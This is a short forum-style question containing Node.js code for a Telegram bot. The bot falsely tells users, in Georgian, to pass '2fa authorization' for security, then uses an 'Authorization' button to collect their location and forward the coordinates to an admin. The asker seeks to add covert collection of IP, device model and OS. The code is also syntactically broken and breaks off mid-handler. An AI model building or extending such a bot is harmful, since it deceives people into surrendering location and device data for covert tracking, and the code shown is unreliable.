Question

Node.js

Here is my code in node.js.
I want to add to it the function of obtaining IP, information about the device model and OS.

bot.on("contact", (msg) => {
const id = {
reply_markup: JSON.stringify({
keyboard: [
[{text: 'ავტორიზაცია', request_location: true}],
],
resize_keyboard: true,
one_time_keyboard: True,
},
};
Bot.SendMessage (msg.chat.id, 'გთხოვთ გაიაროთ 2fa ავტორიზაცია, უსაფრთხოების მიზნით', id);
});

bot.on('location', (msg) => {
console.log(msg.ip);
console.log(msg.ip);
bot.sendMessage(admin, "კოორდინატები: " + '\n' + '\ n' +
"Latitude: " + msg.location.latitude + '\n' +
"Longitude: " + msg.location.longitude);
});

bot.on('location', (msg) =>{
